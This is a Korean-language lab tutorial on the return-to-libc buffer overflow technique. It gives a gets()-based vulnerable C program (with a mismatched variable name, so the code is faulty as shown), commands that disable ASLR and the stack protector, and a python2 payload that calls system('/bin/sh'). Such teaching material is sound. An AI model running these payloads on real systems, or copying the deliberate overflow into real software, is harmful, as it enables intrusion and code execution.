RTL(Return-to-libc)이란 버퍼를 오버 플로우 시켜서 Return Address를 공유 라이브러리 함수의 주소로 변경해 원하는 함수를 실행시키는 기법입니다.
라이브러리 영역에서 함수를 호출하여 실행시키는 방법이기 때문에, DEP/NX 방어 기법을 우회할 수 있습니다.
RTL 기법을 이용해서 쉘을 띄우려면 RET에 system() 함수의 주소를 넣고 중간에 4 Byte의 dummy를 넣습니다.
그다음 함수의 인자로 /bin/sh를 넣어서 system("/bin/sh")가 실행되게 하면 됩니다.
system()의 주소와 "/bin/sh"의 주소 사이에 4 Byte의 dummy가 있는데, 이 위치는 system() 함수의 RET 영역입니다.
우리는 그냥 system() 함수만 호출하고 끝낼거기 때문에 아무값이나 넣어주면 됩니다.
예제 코드를 만들어서 한번 실습 해보겠습니다.
// rtl.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char str[256];
gets(buf);
return 0;
}
gets() 함수로 인해 버퍼 오버플로우가 발생합니다.
실습을 위해 DEP/NX를 제외한 메모리 보호 기법은 모두 해제한 상태로 컴파일을 해줍니다.
gcc -o rtl rtl.c -m32 -mpreferred-stack-boundary=2 -no-pie -fno-pic -fno-stack-protector
sysctl -w kernel.randomize_va_space=0
-m32 : 32bit로 컴파일
-mpreferred-stack-boundary=2 : dummy 제거
-no-pie : pie 해제
-fno-pic : pic 해제
-fno-stack-protector : Stack Smashing Protector 해제
sysctl -w kernel.randomize_va_space=0 : ASLR 해제
peda의 checksec로 다시 한번 확인을 해줍니다.
peda로 system()과 "/bin/sh"의 주소를 찾아보면
system()의 주소 : 0xf7dffd00 ⇾ \x00\xfd\xdf\xf7
"/bin/sh"의 주소 : 0xf7f4ac42 ⇾ \x42\xac\xf4\xf7
메모리 구조를 파악해보면
exploit code를 짜 보면
NOP[260] + system()의 주소[4] + dummy[4] + "/bin/sh"의 주소[4]
(python2 -c 'print "\x90"*260+"\x00\xfd\xdf\xf7"+"AAAA"+"\x42\xac\xf4\xf7"'; cat) | ./rtl
exploit code를 실행시켜보면
공격에 성공해서 쉘이 떴습니다.